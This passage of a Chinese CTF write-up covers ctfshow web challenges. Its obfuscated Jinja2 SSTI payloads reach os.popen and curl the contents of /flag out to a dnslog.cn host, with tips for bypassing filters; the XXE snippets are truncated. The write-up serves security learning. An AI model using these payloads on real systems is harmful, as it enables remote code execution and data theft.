1 | Payload:?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(vhthja=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%} |
web-372
过滤了count,可以用length替换
另外的思路是可以用全角数字代替正常数字(一般我们输入的数字都是半角)
半角转全角代码的python脚本
1 | def half2full(half): |
全角’0’,’1’,’2’,’3’,’4’,’5’,’6’,’7’,’8’,’9’,
半角’0’,’1’,’2’,’3’,’4’,’5’,’6’,’7’,’8’,’9’
yu22x师傅用length代替count
1 | /?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(fgpozq=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%} |
总结
越看越乱了,真实场景应该没那么多需要fuzz的。思路是最重要的。
XXE
web-373
1 | file_get_contents('php://input'):获取客户端输入的内容 |
1 | <!DOCTYPE test [ |
web-378
1 | <!DOCTYPE test[ |
中间的题目全部都先忽略了,还是因为没有VPS,可以选择自己买一个或者去本地复现漏洞。
给出 quan9i师傅的文章吧:https://tttang.com/archive/1716